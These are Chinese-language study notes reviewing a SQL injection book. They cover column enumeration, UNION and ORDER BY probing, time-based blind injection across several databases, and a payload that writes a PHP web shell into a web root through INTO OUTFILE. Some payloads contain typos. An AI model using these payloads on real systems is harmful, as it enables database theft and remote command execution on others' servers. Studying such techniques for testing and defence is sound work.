第二章知识点回忆
利用having ‘1’=’1 列举列名xxx, group by xxx having ‘1’=’1列举下一个列名
- http://xxxxxxxxx?id=xxx' group by xxx having ‘1’=’1’
http://xxxxxxxxx?id=xxx; select * from users having 1=1;–
0/xxx 列举表中的数值
http://xxxxxxxxx?id=xxx' and 1=0/name;–
通过注入单引号后页面返回的错误判断数据库类型,mysql?oracle?等(书P33)
输入user’ or 1=1返回所有页面,and 1=1返回单个商品
判断?id=3-1是否与?id=2返回相同的页面,如果相同。则可以直接进行减法运算
- 加法也课尝试,但是+是URI保留字,可以用%2B代替
区分数值型注入和字符串型注入(有无单引号)
所有的数据库都可以使用”–“进行单行注释,”/**/“进行多行注释,其中mysql还可以用#进行单行注释
若空格被过滤,则可以使用没有内容的多行注释来避免使用空格
- ?uid=45/**/or/**/1=1
输入?uid=45/*hello yes*/,若返回内容与uid=45相同,则说明注释成功,可能存在sql注入
?s=test’; select ‘<php echo shell_exec($_GET[“cmd”]);?>’ into outfile ‘/var/www/victim.com/shell.php’;–
- 检索名为cmd的GET参数的值在一个操作系统shell中加以执行,并写入文件中
时间延迟
服务器种类 语句 sql server ?uid=45; waitfor delay ‘hours:minutes:seconds’ mysql ?uid=45; select benchmark(100000,encode(‘hello’,’mom)) oracle pl/sql ?uid=45 or 1=dbms_pipe.receive_message(‘RDS’,10) postgresql(>=8.2) select pf_sleep(10);–
第三章 复查代码中的SQL注入
造成sql注入的原因是没有对输入进行检查
手动检查代码(静态)可以利用grep命令检查是否直接使用了没有检查过的输入参数,可以配合grep命令进行筛查,注意不同数据库有不同的处理函数
(具体指令在书上做了标记,内容比较多,就不抄过来了)
也可以使用一些工具搭配owasp进行练习
第四章 利用SQL注入
堆叠查询:执行多条sql语句
非盲跟踪:利用报错信息判断是什么数据库
P116,获取version信息
- id=@@version
- name=’%2B@@version%2B’
查看字符串的衔接方式,判断数据库种类
利用数字函数判断数据库种类
UNION判断列
- id=12+union+select+null – 利用null的个数判断列
order by 判断列数(效率更高)二分查找
匹配数据类型
id=12+union+select+’test’,null,null,null
得到更多信息
id=12+union+select+NULL,system_user,db_nam(),NULL
使用连接符运行多个请求 (SQL Server) SELECT NULL, system_user + ‘|’ +db_name(), NULL,NULL
union查询只显示第一行
添加永假条件,只返回union后面的结果(第一条)
id=12+and+1=0+union+select+NULL,system_user,NULL,NULL
然后再在后面的查询中对查询结果进行约束,可以得到后面的结果
基于时间:
- id=12;if+(system_user=’sa’)+waitfor+delay+’0:0:5’–
- 检查数据库版本信息
- if (substring((select @@version),25,1)=5) waitfor delay ‘0:0:5’–
查询information_schema